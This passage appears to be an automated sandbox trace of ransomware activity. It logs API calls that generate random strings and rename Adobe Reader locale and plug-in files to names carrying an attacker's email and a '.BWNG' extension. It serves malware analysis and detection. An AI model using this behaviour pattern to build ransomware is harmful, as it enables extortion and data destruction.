10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].eCml43HO-PRKLKrWf.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].ecml43ho-prklkrwf.bwng"), dwFlags=0x1) returned 1 [0089.855] GetTickCount () returned 0x115e486 [0089.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23180752552) returned 1 [0089.855] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\BRdlang32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\brdlang32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].F9otvd6u-UqoQFKxx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].f9otvd6u-uqoqfkxx.bwng"), dwFlags=0x1) returned 1 [0090.156] GetTickCount () returned 0x115e5be [0090.156] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23210850887) returned 1 [0090.157] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].imvtwfyl-Y3k8j8Xi.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].imvtwfyl-y3k8j8xi.bwng"), dwFlags=0x1) returned 1 [0090.158] GetTickCount () returned 0x115e5be [0090.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23211062188) returned 1 [0090.159] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\RdLang32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\rdlang32.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].Qux5zkjB-cF2MZh0v.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].qux5zkjb-cf2mzh0v.bwng"), dwFlags=0x1) returned 1 [0090.160] GetTickCount () returned 0x115e5be [0090.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23211193957) returned 1 [0090.160] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].WZxJhWoL-mqSyzle8.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].wzxjhwol-mqsyzle8.bwng"), dwFlags=0x1) returned 1 [0090.161] GetTickCount () returned 0x115e5be [0090.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23211323207) returned 1 [0090.161] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\PPKLITE.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ppklite.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].vAHYT3VB-L4hLaNVi.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].vahyt3vb-l4hlanvi.bwng"), dwFlags=0x1) returned 1 [0090.162] GetTickCount () returned 0x115e5be [0090.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23211437632) returned 1 [0090.162] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\WebLink.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\weblink.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].hZ9l6Ss7-IWFRk7YV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].hz9l6ss7-iwfrk7yv.bwng"), dwFlags=0x1) returned 1 [0090.672] GetTickCount () returned 0x115e7c0 [0090.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23262702138) returned 1 [0090.679] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.mpp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].VLDr7KRJ-DpUoLK6I.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].vldr7krj-dpuolk6i.bwng"), dwFlags=0x1) returned 1 [0090.726] GetTickCount () returned 0x115e7ef [0090.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23267968688) returned 1 [0090.732] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0090.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0090.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0090.742] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0090.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0090.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0090.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0090.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0090.748] GetTickCount () returned 0x115e80e [0090.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23270705662) returned 1 [0090.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0090.757] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0090.757] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0090.759] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0090.764] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0090.764] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0090.764] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0090.764] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0090.765] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\updater.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\updater.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].O86mDwho-CoZY8RfB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].o86mdwho-cozy8rfb.bwng"), dwFlags=0x1) returned 1 [0090.853] GetTickCount () returned 0x115e86c [0090.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23280562529) returned 1 [0090.853] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0090.853] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0090.854] GetTickCount () returned 0x115e86c [0090.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23280594697) returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0090.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0090.854] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\EScript.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\escript.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].owbkxXb6-xuxaw790.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].owbkxxb6-xuxaw790.bwng"), dwFlags=0x1) returned 1 [0090.855] GetTickCount () returned 0x115e87c [0090.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23280756150) returned 1 [0090.855] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0090.855] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0090.855] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0090.855] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0090.856] GetTickCount () returned 0x115e87c [0090.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23280786687) returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0090.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0090.856] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].P6QTC6CA-agVn48yj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].p6qtc6ca-agvn48yj.bwng"), dwFlags=0x1) returned 1 [0090.857] GetTickCount () returned 0x115e87c [0090.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23280921643) returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0090.857] GetTickCount () returned 0x115e87c [0090.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23280952230) returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0090.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0090.858] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0090.858] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0090.858] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\eBook.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ebook.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].j7zKZqby-tRI49OWY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].j7zkzqby-tri49owy.bwng"), dwFlags=0x1) returned 1 [0090.859] GetTickCount () returned 0x115e87c [0090.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23281093170) returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0090.859] GetTickCount () returned 0x115e87c [0090.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23281123496) returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0090.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0090.859] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].wPSoOZXJ-tWJfVfTv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].wpsoozxj-twjfvftv.bwng"), dwFlags=0x1) returned 1 [0090.861] GetTickCount () returned 0x115e87c [0090.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23281277399) returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 